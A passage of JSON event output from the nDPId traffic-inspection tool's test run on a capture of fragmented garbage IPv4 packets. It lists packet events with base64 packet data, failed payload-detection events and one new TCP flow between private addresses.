+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349208,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349233,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349316,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349394,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349407,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349433,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349529,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":349651,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiooS0lKSEdG"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1534244028649,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":17458,"dst_port":10790,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649780,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkQyKiZERkdISksmXiUkIyM4jgAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649809,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649843,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649859,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 